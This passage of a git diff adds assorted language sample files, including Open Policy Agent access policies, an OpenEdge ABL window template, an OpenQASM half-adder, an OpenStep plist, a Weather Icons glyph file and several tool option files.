+# into a separate file and shared. For conciseness, we have kept it all in one
+# place.
+#-----------------------------------------------------------------------------
+
+is_write_operation {
+    input.operation.name == "Write"
+}
+
+is_read_operation {
+    input.operation.name == "Read"
+}
+
+is_topic_resource {
+    input.resource.resourceType.name == "Topic"
+}
+
+topic_name = input.resource.name {
+    is_topic_resource
+}
+
+principal = {"fqn": parsed.CN, "name": cn_parts[0]} {
+    parsed := parse_user(urlquery.decode(input.session.sanitizedUser))
+    cn_parts := split(parsed.CN, ".")
+}
+
+parse_user(user) = {key: value |
+    parts := split(user, ",")
+    [key, value] := split(parts[_], "=")
+}
\ No newline at end of file
diff --git a/samples/Open Policy Agent/kubernetes_admission.rego b/samples/Open Policy Agent/kubernetes_admission.rego
new file mode 100644
index 0000000000..b6cd45453f
--- /dev/null
+++ b/samples/Open Policy Agent/kubernetes_admission.rego	
@@ -0,0 +1,8 @@
+package kubernetes.admission                                                # line 1
+
+deny[msg] {                                                                 # line 2
+  input.request.kind.kind == "Pod"                                          # line 3
+  image := input.request.object.spec.containers[_].image                    # line 4
+  not startswith(image, "hooli.com/")                                       # line 5
+  msg := sprintf("image fails to come from trusted registry: %v", [image])  # line 6
+}
\ No newline at end of file
diff --git a/samples/Open Policy Agent/ssh.rego b/samples/Open Policy Agent/ssh.rego
new file mode 100644
index 0000000000..4290f2b103
--- /dev/null
+++ b/samples/Open Policy Agent/ssh.rego	
@@ -0,0 +1,32 @@
+package sshd.authz
+
+import input.pull_responses
+import input.sysinfo
+
+import data.hosts
+
+# By default, users are not authorized.
+default allow = false
+
+# Allow access to any user that has the "admin" role.
+allow {
+    data.roles["admin"][_] = input.sysinfo.pam_username
+}
+
+# Allow access to any user who contributed to the code running on the host.
+#
+# This rule gets the `host_id` value from the file `/etc/host_identity.json`.
+# It is available in the input under `pull_responses` because we
+# asked for it in our pull policy above.
+#
+# It then compares all the contributors for that host against the username
+# that is asking for authorization.
+allow {
+    hosts[pull_responses.files["/etc/host_identity.json"].host_id].contributors[_] = sysinfo.pam_username
+}
+
+
+# If the user is not authorized, then include an error message in the response.
+errors["Request denied by administrative policy"] {
+    not allow
+}
\ No newline at end of file
diff --git a/samples/OpenEdge ABL/test-win.w b/samples/OpenEdge ABL/test-win.w
new file mode 100644
index 0000000000..ef15b898de
--- /dev/null
+++ b/samples/OpenEdge ABL/test-win.w	
@@ -0,0 +1,230 @@
+&ANALYZE-SUSPEND _VERSION-NUMBER AB_v10r12 GUI
+&ANALYZE-RESUME
+&Scoped-define WINDOW-NAME C-Win
+&ANALYZE-SUSPEND _UIB-CODE-BLOCK _CUSTOM _DEFINITIONS C-Win 
+/*------------------------------------------------------------------------
+
+  File: 
+
+  Description: 
+
+  Input Parameters:
+      <none>
+
+  Output Parameters:
+      <none>
+
+  Author: 
+
+  Created: 
+
+------------------------------------------------------------------------*/
+/*          This .W file was created with the Progress AppBuilder.      */
+/*----------------------------------------------------------------------*/
+
+/* Create an unnamed pool to store all the widgets created 
+     by this procedure. This is a good default which assures
+     that this procedure's triggers and internal procedures 
+     will execute in this procedure's storage, and that proper
+     cleanup will occur on deletion of the procedure. */
+
+CREATE WIDGET-POOL.
+
+/* ***************************  Definitions  ************************** */
+
+/* Parameters Definitions ---                                           */
+
+/* Local Variable Definitions ---                                       */
+
+/* _UIB-CODE-BLOCK-END */
+&ANALYZE-RESUME
+
+
+&ANALYZE-SUSPEND _UIB-PREPROCESSOR-BLOCK 
+
+/* ********************  Preprocessor Definitions  ******************** */
+
+&Scoped-define PROCEDURE-TYPE Window
+&Scoped-define DB-AWARE no
+
+/* Name of designated FRAME-NAME and/or first browse and/or first query */
+&Scoped-define FRAME-NAME DEFAULT-FRAME
+
+/* Custom List Definitions                                              */
+/* List-1,List-2,List-3,List-4,List-5,List-6                            */
+
+/* _UIB-PREPROCESSOR-BLOCK-END */
+&ANALYZE-RESUME
+
+
+
+/* ***********************  Control Definitions  ********************** */
+
+/* Define the widget handle for the window                              */
+DEFINE VAR C-Win AS WIDGET-HANDLE NO-UNDO.
+
+/* ************************  Frame Definitions  *********************** */
+
+DEFINE FRAME DEFAULT-FRAME
+    WITH 1 DOWN NO-BOX KEEP-TAB-ORDER OVERLAY 
+         SIDE-LABELS NO-UNDERLINE THREE-D 
+         AT COL 1 ROW 1
+         SIZE 80 BY 16 WIDGET-ID 100.
+
+
+/* *********************** Procedure Settings ************************ */
+
+&ANALYZE-SUSPEND _PROCEDURE-SETTINGS
+/* Settings for THIS-PROCEDURE
+   Type: Window
+   Allow: Basic,Browse,DB-Fields,Window,Query
+   Other Settings: COMPILE
+ */
+&ANALYZE-RESUME _END-PROCEDURE-SETTINGS
+
+/* *************************  Create Window  ************************** */
+
+&ANALYZE-SUSPEND _CREATE-WINDOW
+IF SESSION:DISPLAY-TYPE = "GUI":U THEN
+  CREATE WINDOW C-Win ASSIGN
+         HIDDEN             = YES
+         TITLE              = "<insert window title>"
+         HEIGHT             = 16
+         WIDTH              = 80
+         MAX-HEIGHT         = 16
+         MAX-WIDTH          = 80
+         VIRTUAL-HEIGHT     = 16
+         VIRTUAL-WIDTH      = 80
+         RESIZE             = yes
+         SCROLL-BARS        = no
+         STATUS-AREA        = no
+         BGCOLOR            = ?
+         FGCOLOR            = ?
+         KEEP-FRAME-Z-ORDER = yes
+         THREE-D            = yes
+         MESSAGE-AREA       = no
+         SENSITIVE          = yes.
+ELSE {&WINDOW-NAME} = CURRENT-WINDOW.
+/* END WINDOW DEFINITION                                                */
+&ANALYZE-RESUME
+
+
+
+/* ***********  Runtime Attributes and AppBuilder Settings  *********** */
+
+&ANALYZE-SUSPEND _RUN-TIME-ATTRIBUTES
+/* SETTINGS FOR WINDOW C-Win
+  VISIBLE,,RUN-PERSISTENT                                               */
+/* SETTINGS FOR FRAME DEFAULT-FRAME
+   FRAME-NAME                                                           */
+IF SESSION:DISPLAY-TYPE = "GUI":U AND VALID-HANDLE(C-Win)
+THEN C-Win:HIDDEN = no.
+
+/* _RUN-TIME-ATTRIBUTES-END */
+&ANALYZE-RESUME
+
+ 
+
+
+
+/* ************************  Control Triggers  ************************ */
+
+&Scoped-define SELF-NAME C-Win
+&ANALYZE-SUSPEND _UIB-CODE-BLOCK _CONTROL C-Win C-Win
+ON END-ERROR OF C-Win /* <insert window title> */
+OR ENDKEY OF {&WINDOW-NAME} ANYWHERE DO:
+  /* This case occurs when the user presses the "Esc" key.
+     In a persistently run window, just ignore this.  If we did not, the
+     application would exit. */
+  IF THIS-PROCEDURE:PERSISTENT THEN RETURN NO-APPLY.
+END.
+
+/* _UIB-CODE-BLOCK-END */
+&ANALYZE-RESUME
+
+
+&ANALYZE-SUSPEND _UIB-CODE-BLOCK _CONTROL C-Win C-Win
+ON WINDOW-CLOSE OF C-Win /* <insert window title> */
+DO:
+  /* This event will close the window and terminate the procedure.  */
+  APPLY "CLOSE":U TO THIS-PROCEDURE.
+  RETURN NO-APPLY.
+END.
+
+/* _UIB-CODE-BLOCK-END */
+&ANALYZE-RESUME
+
+
+&UNDEFINE SELF-NAME
+
+&ANALYZE-SUSPEND _UIB-CODE-BLOCK _CUSTOM _MAIN-BLOCK C-Win 
+
+
+/* ***************************  Main Block  *************************** */
+
+/* Set CURRENT-WINDOW: this will parent dialog-boxes and frames.        */
+ASSIGN CURRENT-WINDOW                = {&WINDOW-NAME} 
+       THIS-PROCEDURE:CURRENT-WINDOW = {&WINDOW-NAME}.
+
+/* The CLOSE event can be used from inside or outside the procedure to  */
+/* terminate it.                                                        */
+ON CLOSE OF THIS-PROCEDURE 
+   RUN disable_UI.
+
+/* Best default for GUI applications is...                              */
+PAUSE 0 BEFORE-HIDE.
+
+/* Now enable the interface and wait for the exit condition.            */
+/* (NOTE: handle ERROR and END-KEY so cleanup code will always fire.    */
+MAIN-BLOCK:
+DO ON ERROR   UNDO MAIN-BLOCK, LEAVE MAIN-BLOCK
+   ON END-KEY UNDO MAIN-BLOCK, LEAVE MAIN-BLOCK:
+  RUN enable_UI.
+  IF NOT THIS-PROCEDURE:PERSISTENT THEN
+    WAIT-FOR CLOSE OF THIS-PROCEDURE.
+END.
+
+/* _UIB-CODE-BLOCK-END */
+&ANALYZE-RESUME
+
+
+/* **********************  Internal Procedures  *********************** */
+
+&ANALYZE-SUSPEND _UIB-CODE-BLOCK _PROCEDURE disable_UI C-Win  _DEFAULT-DISABLE
+PROCEDURE disable_UI :
+/*------------------------------------------------------------------------------
+  Purpose:     DISABLE the User Interface
+  Parameters:  <none>
+  Notes:       Here we clean-up the user-interface by deleting
+               dynamic widgets we have created and/or hide 
+               frames.  This procedure is usually called when
+               we are ready to "clean-up" after running.
+------------------------------------------------------------------------------*/
+  /* Delete the WINDOW we created */
+  IF SESSION:DISPLAY-TYPE = "GUI":U AND VALID-HANDLE(C-Win)
+  THEN DELETE WIDGET C-Win.
+  IF THIS-PROCEDURE:PERSISTENT THEN DELETE PROCEDURE THIS-PROCEDURE.
+END PROCEDURE.
+
+/* _UIB-CODE-BLOCK-END */
+&ANALYZE-RESUME
+
+&ANALYZE-SUSPEND _UIB-CODE-BLOCK _PROCEDURE enable_UI C-Win  _DEFAULT-ENABLE
+PROCEDURE enable_UI :
+/*------------------------------------------------------------------------------
+  Purpose:     ENABLE the User Interface
+  Parameters:  <none>
+  Notes:       Here we display/view/enable the widgets in the
+               user-interface.  In addition, OPEN all queries
+               associated with each FRAME and BROWSE.
+               These statements here are based on the "Other 
+               Settings" section of the widget Property Sheets.
+------------------------------------------------------------------------------*/
+  VIEW FRAME DEFAULT-FRAME IN WINDOW C-Win.
+  {&OPEN-BROWSERS-IN-QUERY-DEFAULT-FRAME}
+  VIEW C-Win.
+END PROCEDURE.
+
+/* _UIB-CODE-BLOCK-END */
+&ANALYZE-RESUME
+
diff --git a/samples/OpenQASM/half_adder.qasm b/samples/OpenQASM/half_adder.qasm
new file mode 100644
index 0000000000..49c84672d8
--- /dev/null
+++ b/samples/OpenQASM/half_adder.qasm
@@ -0,0 +1,15 @@
+// A half adder circuit.
+
+OPENQASM 2.0;
+include "qelib1.inc";
+
+qreg q[4];
+creg c[2];
+
+x q[0]; // Remove to keep the first input as 0.
+x q[1]; // Remove to keep the first input as 0.
+cx q[0], q[2];
+cx q[1], q[2];
+ccx q[0], q[1], q[3];
+measure q[2] -> c[0];
+measure q[3] -> c[1];
\ No newline at end of file
diff --git a/samples/OpenStep Property List/TypewriterInfo.plist b/samples/OpenStep Property List/TypewriterInfo.plist
new file mode 100644
index 0000000000..33f4875ff2
--- /dev/null
+++ b/samples/OpenStep Property List/TypewriterInfo.plist	
@@ -0,0 +1,63 @@
+{
+   ApplicationDescription = "Étoilé text editor";
+   ApplicationIcon = "Typewriter.tiff";
+   NSIcon = "Typewriter.tiff";
+   ApplicationName = Typewriter;
+   ApplicationRelease = 0.1;
+   Authors = ("Yen-Ju Chen", "Günther Noack <guenther@unix-ag.uni-kl.de>");
+   Copyright = "Copyright (C) 2006 by Yen-Ju Chen";
+   CopyrightDescription = "Released under BSD Licence";
+   FullVersionID = 0.1;
+   URL = "";
+   NSTypes = (
+      {
+         NSName = "TWPlainTextType";
+         NSHumanReadableName = "Plain Text Document";
+         NSUnixExtensions = ("txt");
+         NSRole = Editor;
+	 NSIcon = Document-Text.tiff;
+         NSDocumentClass = TWDocument;
+      },
+      {
+         NSName = "TWRTFTextType";
+         NSHumanReadableName = "RTF Document";
+         NSUnixExtensions = ("rtf");
+         NSRole = Editor;
+	 NSIcon = Document-RichText.tiff;
+         NSDocumentClass = TWDocument;
+      },
+      {
+         NSName = "TWRTFDTextType";
+         NSHumanReadableName = "RTFD Document";
+         NSUnixExtensions = ("rtfd");
+         NSRole = Editor;
+	 NSIcon = Document-RichText.tiff;
+         NSDocumentClass = TWDocument;
+      }
+   );
+   NSServices = (
+     {
+       NSPortName = Typewriter;
+       NSMessage = newDocumentWithSelection;
+       NSSendTypes = (NSStringPboardType);
+       NSKeyEquivalent = {
+         default = "";
+        };
+       NSMenuItem = {
+         default = "Typewriter/New document with selection";
+        };
+     },
+     {
+       NSPortName = Typewriter;
+       NSMessage = openDocumentWithPath;
+       NSSendTypes = (NSStringPboardType);
+       NSKeyEquivalent = {
+         default = "";
+        };
+       NSMenuItem = {
+         default = "Typewriter/Open selected file";
+        };
+     }
+   );
+}
+
diff --git a/samples/OpenStep Property List/weathericons-regular.glyphs b/samples/OpenStep Property List/weathericons-regular.glyphs
new file mode 100644
index 0000000000..ffe203772c
--- /dev/null
+++ b/samples/OpenStep Property List/weathericons-regular.glyphs	
@@ -0,0 +1,594 @@
+{
+copyright = "Weather Icons licensed under SIL OFL 1.1 \U2014 Code licensed under MIT License \U2014 Documentation licensed under CC BY 3.0";
+date = "2013-07-20 15:18:27 +0000";
+designer = "Erik Flowers, Lukas Bischoff (v1 Art)";
+designerURL = "http://www.helloerik.com, http://www.artill.de";
+familyName = "Weather Icons";
+featurePrefixes = (
+{
+automatic = 1;
+code = "languagesystem DFLT dflt;\012";
+name = Languagesystems;
+}
+);
+fontMaster = (
+{
+alignmentZones = (
+"{1344, 27}",
+"{0, -27}"
+);
+ascender = 1536;
+capHeight = 1792;
+customParameters = (
+{
+name = typoAscender;
+value = 1536;
+},
+{
+name = typoDescender;
+value = "-256";
+},
+{
+name = typoLineGap;
+value = 0;
+}
+);
+descender = "-256";
+horizontalStems = (
+128,
+256
+);
+id = "8BEE18A2-62EC-4A69-8B77-4987BEDA7528";
+verticalStems = (
+128,
+256
+);
+weightValue = 400;
+widthValue = 5;
+xHeight = 1792;
+}
+);
+glyphs = (
+{
+glyphname = space;
+layers = (
+{
+layerId = "8BEE18A2-62EC-4A69-8B77-4987BEDA7528";
+name = Regular;
+width = 600;
+}
+);
+unicode = 0020;
+},
+{
+glyphname = .notdef;
+layers = (
+{
+layerId = "8BEE18A2-62EC-4A69-8B77-4987BEDA7528";
+name = Regular;
+paths = (
+{
+closed = 1;
+nodes = (
+"112 1536 LINE",
+"112 0 LINE",
+"784 0 LINE",
+"784 1536 LINE"
+);
+},
+{
+closed = 1;
+nodes = (
+"672 112 LINE",
+"224 112 LINE",
+"224 1424 LINE",
+"672 1424 LINE"
+);
+}
+);
+width = 896;
+}
+);
+},
+{
+glyphname = uniF000;
+lastChange = "2014-05-03 20:31:55 +0000";
+layers = (
+{
+background = {
+paths = (
+{
+closed = 1;
+nodes = (
+"1658 1877 LINE SMOOTH",
+"1658 1922 OFFCURVE",
+"1694 1957 OFFCURVE",
+"1738 1957 CURVE SMOOTH",
+"1782 1957 OFFCURVE",
+"1818 1922 OFFCURVE",
+"1818 1877 CURVE SMOOTH",
+"1818 1686 LINE SMOOTH",
+"1818 1642 OFFCURVE",
+"1782 1609 OFFCURVE",
+"1738 1609 CURVE SMOOTH",
+"1694 1609 OFFCURVE",
+"1658 1642 OFFCURVE",
+"1658 1686 CURVE SMOOTH"
+);
+},
+{
+closed = 1;
+nodes = (
+"2331 1666 LINE SMOOTH",
+"2346 1681 OFFCURVE",
+"2364 1689 OFFCURVE",
+"2387 1689 CURVE SMOOTH",
+"2431 1689 OFFCURVE",
+"2467 1653 OFFCURVE",
+"2467 1609 CURVE SMOOTH",
+"2467 1586 OFFCURVE",
+"2459 1567 OFFCURVE",
+"2444 1552 CURVE SMOOTH",
+"2307 1418 LINE",
+"2281 1385 OFFCURVE",
+"2228 1387 OFFCURVE",
+"2197 1418 CURVE SMOOTH",
+"2183 1433 OFFCURVE",
+"2176 1452 OFFCURVE",
+"2176 1474 CURVE SMOOTH",
+"2176 1495 OFFCURVE",
+"2183 1514 OFFCURVE",
+"2197 1529 CURVE SMOOTH"
+);
+},
+{
+closed = 1;
+nodes = (
+"1035 1552 LINE",
+"1019 1567 OFFCURVE",
+"1010 1586 OFFCURVE",
+"1010 1608 CURVE SMOOTH",
+"1010 1652 OFFCURVE",
+"1046 1688 OFFCURVE",
+"1091 1688 CURVE SMOOTH",
+"1112 1688 OFFCURVE",
+"1131 1680 OFFCURVE",
+"1146 1663 CURVE",
+"1207 1603 LINE",
+"1221 1588 OFFCURVE",
+"1228 1570 OFFCURVE",
+"1228 1547 CURVE SMOOTH",
+"1228 1501 OFFCURVE",
+"1195 1469 OFFCURVE",
+"1149 1469 CURVE SMOOTH",
+"1127 1469 OFFCURVE",
+"1107 1477 OFFCURVE",
+"1092 1492 CURVE SMOOTH"
+);
+},
+{
+closed = 1;
+nodes = (
+"249 591 LINE",
+"296 748 OFFCURVE",
+"428 872 OFFCURVE",
+"587 910 CURVE",
+"641 1163 OFFCURVE",
+"865 1344 OFFCURVE",
+"1128 1344 CURVE SMOOTH",
+"1220 1344 OFFCURVE",
+"1303 1325 OFFCURVE",
+"1377 1287 CURVE",
+"1473 1395 OFFCURVE",
+"1594 1449 OFFCURVE",
+"1738 1449 CURVE SMOOTH",
+"2006 1449 OFFCURVE",
+"2227 1228 OFFCURVE",
+"2227 960 CURVE SMOOTH",
+"2227 846 OFFCURVE",
+"2191 743 OFFCURVE",
+"2121 651 CURVE",
+"2147 594 OFFCURVE",
+"2160 532 OFFCURVE",
+"2160 462 CURVE SMOOTH",
+"2160 207 OFFCURVE",
+"1954 -1 OFFCURVE",
+"1699 -1 CURVE SMOOTH",
+"1055 -1 LINE SMOOTH",
+"1043 -1 OFFCURVE",
+"1038 4 OFFCURVE",
+"1038 15 CURVE SMOOTH",
+"1038 143 LINE SMOOTH",
+"1038 154 OFFCURVE",
+"1043 159 OFFCURVE",
+"1055 159 CURVE SMOOTH",
+"1699 159 LINE SMOOTH",
+"1867 159 OFFCURVE",
+"2003 296 OFFCURVE",
+"2003 462 CURVE SMOOTH",
+"2003 627 OFFCURVE",
+"1867 762 OFFCURVE",
+"1699 762 CURVE SMOOTH",
+"1547 762 LINE SMOOTH",
+"1535 762 OFFCURVE",
+"1530 767 OFFCURVE",
+"1530 779 CURVE",
+"1524 833 LINE SMOOTH",
+"1503 1037 OFFCURVE",
+"1333 1187 OFFCURVE",
+"1128 1187 CURVE SMOOTH",
+"924 1187 OFFCURVE",
+"754 1034 OFFCURVE",
+"734 833 CURVE SMOOTH",
+"728 785 LINE",
+"728 774 OFFCURVE",
+"721 769 OFFCURVE",
+"710 769 CURVE",
+"661 762 LINE",
+"549 754 OFFCURVE",
+"456 681 OFFCURVE",
+"415 581 CURVE",
+"410 573 OFFCURVE",
+"404 568 OFFCURVE",
+"396 568 CURVE SMOOTH",
+"262 568 LINE SMOOTH",
+"252 568 OFFCURVE",
+"247 571 OFFCURVE",
+"247 579 CURVE SMOOTH",
+"247 581 OFFCURVE",
+"247 584 OFFCURVE",
+"249 587 CURVE"
+);
+},
+{
+closed = 1;
+nodes = (
+"1699 923 LINE SMOOTH",
+"1825 923 OFFCURVE",
+"1933 878 OFFCURVE",
+"2022 789 CURVE",
+"2054 842 OFFCURVE",
+"2070 900 OFFCURVE",
+"2070 960 CURVE SMOOTH",
+"2070 1142 OFFCURVE",
+"1919 1292 OFFCURVE",
+"1738 1292 CURVE SMOOTH",
+"1651 1292 OFFCURVE",
+"1574 1261 OFFCURVE",
+"1507 1197 CURVE",
+"1592 1116 OFFCURVE",
+"1646 1024 OFFCURVE",
+"1668 923 CURVE"
+);
+},
+{
+closed = 1;
+nodes = (
+"2655 1040 LINE SMOOTH",
+"2699 1040 OFFCURVE",
+"2735 1004 OFFCURVE",
+"2735 960 CURVE SMOOTH",
+"2735 916 OFFCURVE",
+"2699 880 OFFCURVE",
+"2655 880 CURVE SMOOTH",
+"2466 880 LINE SMOOTH",
+"2444 880 OFFCURVE",
+"2426 888 OFFCURVE",
+"2412 905 CURVE",
+"2397 919 OFFCURVE",
+"2389 939 OFFCURVE",
+"2389 960 CURVE SMOOTH",
+"2389 1004 OFFCURVE",
+"2421 1040 OFFCURVE",
+"2466 1040 CURVE SMOOTH"
+);
+},
+{
+closed = 1;
+nodes = (
+"2271 314 LINE SMOOTH",
+"2256 329 OFFCURVE",
+"2248 347 OFFCURVE",
+"2248 370 CURVE SMOOTH",
+"2248 414 OFFCURVE",
+"2284 450 OFFCURVE",
+"2330 450 CURVE SMOOTH",
+"2351 450 OFFCURVE",
+"2369 442 OFFCURVE",
+"2384 427 CURVE SMOOTH",
+"2444 367 LINE",
+"2459 350 OFFCURVE",
+"2467 331 OFFCURVE",
+"2467 310 CURVE SMOOTH",
+"2467 288 OFFCURVE",
+"2459 269 OFFCURVE",
+"2444 254 CURVE",
+"2426 239 OFFCURVE",
+"2407 231 OFFCURVE",
+"2389 231 CURVE SMOOTH",
+"2369 231 OFFCURVE",
+"2349 239 OFFCURVE",
+"2331 254 CURVE"
+);
+},
+{
+closed = 1;
+nodes = (
+"630 159 LINE SMOOTH",
+"767 159 OFFCURVE",
+"878 46 OFFCURVE",
+"878 -91 CURVE SMOOTH",
+"878 -228 OFFCURVE",
+"767 -340 OFFCURVE",
+"630 -340 CURVE SMOOTH",
+"561 -340 OFFCURVE",
+"502 -315 OFFCURVE",
+"453 -266 CURVE SMOOTH",
+"438 -251 OFFCURVE",
+"430 -232 OFFCURVE",
+"430 -210 CURVE SMOOTH",
+"430 -166 OFFCURVE",
+"464 -132 OFFCURVE",
+"509 -132 CURVE SMOOTH",
+"530 -132 OFFCURVE",
+"549 -140 OFFCURVE",
+"566 -155 CURVE",
+"584 -173 OFFCURVE",
+"605 -183 OFFCURVE",
+"630 -183 CURVE SMOOTH",
+"677 -183 OFFCURVE",
+"721 -142 OFFCURVE",
+"721 -91 CURVE SMOOTH",
+"721 -40 OFFCURVE",
+"677 -1 OFFCURVE",
+"630 -1 CURVE SMOOTH",
+"81 -1 LINE SMOOTH",
+"60 -1 OFFCURVE",
+"40 7 OFFCURVE",
+"24 23 CURVE",
+"7 38 OFFCURVE",
+"-1 58 OFFCURVE",
+"-1 79 CURVE SMOOTH",
+"-1 123 OFFCURVE",
+"37 159 OFFCURVE",
+"81 159 CURVE SMOOTH"
+);
+}
+);
+};
+layerId = "8BEE18A2-62EC-4A69-8B77-4987BEDA7528";
+name = Regular;
+paths = (
+{
+closed = 1;
+nodes = (
+"1659 1877 LINE SMOOTH",
+"1659 1922 OFFCURVE",
+"1695 1957 OFFCURVE",
+"1739 1957 CURVE SMOOTH",
+"1783 1957 OFFCURVE",
+"1819 1922 OFFCURVE",
+"1819 1877 CURVE SMOOTH",
+"1819 1686 LINE SMOOTH",
+"1819 1642 OFFCURVE",
+"1783 1609 OFFCURVE",
+"1739 1609 CURVE SMOOTH",
+"1695 1609 OFFCURVE",
+"1659 1642 OFFCURVE",
+"1659 1686 CURVE SMOOTH"
+);
+},
+{
+closed = 1;
+nodes = (
+"2332 1666 LINE SMOOTH",
+"2347 1681 OFFCURVE",
+"2365 1689 OFFCURVE",
+"2388 1689 CURVE SMOOTH",
+"2432 1689 OFFCURVE",
+"2468 1653 OFFCURVE",
+"2468 1609 CURVE SMOOTH",
+"2468 1586 OFFCURVE",
+"2460 1567 OFFCURVE",
+"2445 1552 CURVE SMOOTH",
+"2308 1418 LINE",
+"2282 1385 OFFCURVE",
+"2229 1387 OFFCURVE",
+"2198 1418 CURVE SMOOTH",
+"2184 1433 OFFCURVE",
+"2177 1452 OFFCURVE",
+"2177 1474 CURVE SMOOTH",
+"2177 1495 OFFCURVE",
+"2184 1514 OFFCURVE",
+"2198 1529 CURVE SMOOTH"
+);
+},
+{
+closed = 1;
+nodes = (
+"1036 1552 LINE",
+"1020 1567 OFFCURVE",
+"1011 1586 OFFCURVE",
+"1011 1608 CURVE SMOOTH",
+"1011 1652 OFFCURVE",
+"1047 1688 OFFCURVE",
+"1092 1688 CURVE SMOOTH",
+"1113 1688 OFFCURVE",
+"1132 1680 OFFCURVE",
+"1147 1663 CURVE",
+"1208 1603 LINE",
+"1222 1588 OFFCURVE",
+"1229 1570 OFFCURVE",
+"1229 1547 CURVE SMOOTH",
+"1229 1501 OFFCURVE",
+"1196 1469 OFFCURVE",
+"1150 1469 CURVE SMOOTH",
+"1128 1469 OFFCURVE",
+"1108 1477 OFFCURVE",
+"1093 1492 CURVE SMOOTH"
+);
+},
+{
+closed = 1;
+nodes = (
+"1700 923 LINE SMOOTH",
+"1826 923 OFFCURVE",
+"1934 878 OFFCURVE",
+"2023 789 CURVE",
+"2055 842 OFFCURVE",
+"2071 900 OFFCURVE",
+"2071 960 CURVE SMOOTH",
+"2071 1142 OFFCURVE",
+"1920 1292 OFFCURVE",
+"1739 1292 CURVE SMOOTH",
+"1652 1292 OFFCURVE",
+"1575 1261 OFFCURVE",
+"1508 1197 CURVE",
+"1593 1116 OFFCURVE",
+"1647 1024 OFFCURVE",
+"1669 923 CURVE"
+);
+},
+{
+closed = 1;
+nodes = (
+"2656 1040 LINE SMOOTH",
+"2700 1040 OFFCURVE",
+"2736 1004 OFFCURVE",
+"2736 960 CURVE SMOOTH",
+"2736 916 OFFCURVE",
+"2700 880 OFFCURVE",
+"2656 880 CURVE SMOOTH",
+"2467 880 LINE SMOOTH",
+"2445 880 OFFCURVE",
+"2427 888 OFFCURVE",
+"2413 905 CURVE",
+"2398 919 OFFCURVE",
+"2390 939 OFFCURVE",
+"2390 960 CURVE SMOOTH",
+"2390 1004 OFFCURVE",
+"2422 1040 OFFCURVE",
+"2467 1040 CURVE SMOOTH"
+);
+},
+{
+closed = 1;
+nodes = (
+"1106 440 LINE SMOOTH",
+"1154 440 OFFCURVE",
+"1196 481 OFFCURVE",
+"1196 532 CURVE SMOOTH",
+"1196 583 OFFCURVE",
+"1154 622 OFFCURVE",
+"1106 622 CURVE SMOOTH",
+"1082 622 OFFCURVE",
+"1061 614 OFFCURVE",
+"1043 596 CURVE",
+"1026 581 OFFCURVE",
+"1007 574 OFFCURVE",
+"985 574 CURVE SMOOTH",
+"940 574 OFFCURVE",
+"908 605 OFFCURVE",
+"908 651 CURVE SMOOTH",
+"908 672 OFFCURVE",
+"915 692 OFFCURVE",
+"930 708 CURVE SMOOTH",
+"977 756 OFFCURVE",
+"1036 779 OFFCURVE",
+"1106 779 CURVE SMOOTH",
+"1244 779 OFFCURVE",
+"1355 669 OFFCURVE",
+"1355 532 CURVE SMOOTH",
+"1355 395 OFFCURVE",
+"1244 283 OFFCURVE",
+"1106 283 CURVE SMOOTH",
+"82 283 LINE SMOOTH",
+"59 283 OFFCURVE",
+"39 292 OFFCURVE",
+"25 306 CURVE",
+"8 321 OFFCURVE",
+"0 339 OFFCURVE",
+"0 360 CURVE SMOOTH",
+"0 404 OFFCURVE",
+"38 440 OFFCURVE",
+"82 440 CURVE SMOOTH"
+);
+},
+{
+closed = 1;
+nodes = (
+"2272 314 LINE SMOOTH",
+"2257 329 OFFCURVE",
+"2249 347 OFFCURVE",
+"2249 370 CURVE SMOOTH",
+"2249 414 OFFCURVE",
+"2285 450 OFFCURVE",
+"2331 450 CURVE SMOOTH",
+"2352 450 OFFCURVE",
+"2370 442 OFFCURVE",
+"2385 427 CURVE SMOOTH",
+"2445 367 LINE",
+"2460 350 OFFCURVE",
+"2468 331 OFFCURVE",
+"2468 310 CURVE SMOOTH",
+"2468 288 OFFCURVE",
+"2460 269 OFFCURVE",
+"2445 254 CURVE",
+"2427 239 OFFCURVE",
+"2408 231 OFFCURVE",
+"2390 231 CURVE SMOOTH",
+"2370 231 OFFCURVE",
+"2350 239 OFFCURVE",
+"2332 254 CURVE"
+);
+}
+);
+width = 2736;
+}
+);
+unicode = F000;
+},
+{
+glyphname = unif0eb;
+lastChange = "2015-08-18 21:24:59 +0000";
+layers = (
+{
+layerId = "8BEE18A2-62EC-4A69-8B77-4987BEDA7528";
+name = Regular;
+paths = (
+{
+closed = 1;
+nodes = (
+"1044 1345 OFFCURVE",
+"1345 1044 OFFCURVE",
+"1345 673 CURVE SMOOTH",
+"1345 301 OFFCURVE",
+"1044 0 OFFCURVE",
+"673 0 CURVE SMOOTH",
+"301 0 OFFCURVE",
+"0 301 OFFCURVE",
+"0 673 CURVE SMOOTH",
+"0 1044 OFFCURVE",
+"301 1345 OFFCURVE",
+"673 1345 CURVE SMOOTH"
+);
+}
+);
+width = 1345;
+}
+);
+unicode = F0EB;
+}
+);
+instances = (
+{
+name = Regular;
+},
+{
+name = Regular;
+}
+);
+unitsPerEm = 1792;
+versionMajor = 1;
+versionMinor = 100;
+}
diff --git a/samples/Option List/filenames/.ackrc b/samples/Option List/filenames/.ackrc
new file mode 100644
index 0000000000..18305e0e02
--- /dev/null
+++ b/samples/Option List/filenames/.ackrc	
@@ -0,0 +1,17 @@
+--smart-case
+--follow
+
+# Always use coloured output
+--colour
+
+--ignore-directory=is:.bundle
+--ignore-directory=is:tmp
+--ignore-file=is:samples.json
+
+--type-add=coffeescript=.cson
+--type-add=ruby=Gemfile,Rubyfile
+--type-add=xml=.xmp,.dae,.plist
+--type-add=yaml=.yaml-tmlanguage,.sublime-syntax
+--type-add=js=.mjs,.cjs
+--type-add=ts=.mts,.cts
+--type-add=json=.jsonc
diff --git a/samples/Option List/filenames/.rspec b/samples/Option List/filenames/.rspec
new file mode 100644
index 0000000000..eb8599d92e
--- /dev/null
+++ b/samples/Option List/filenames/.rspec	
@@ -0,0 +1,3 @@
+--order rand
+--warnings
+--require spec_helper
diff --git a/samples/Option List/filenames/.yardopts b/samples/Option List/filenames/.yardopts
new file mode 100644
index 0000000000..fbd925d565
--- /dev/null
+++ b/samples/Option List/filenames/.yardopts	
@@ -0,0 +1,26 @@
+--protected
+--no-private
+--embed-mixin ClassMethods
+--exclude /server/templates/
+--exclude /yard/rubygems/
+--asset docs/images:images
+--tag yard.signature:"YARD Tag Signature"
+--type-name-tag yard.tag:"YARD Tag"
+--type-name-tag yard.directive:"YARD Directive"
+--hide-tag yard.tag
+--hide-tag yard.directive
+--hide-tag yard.signature
+--load ./docs/templates/plugin.rb
+-
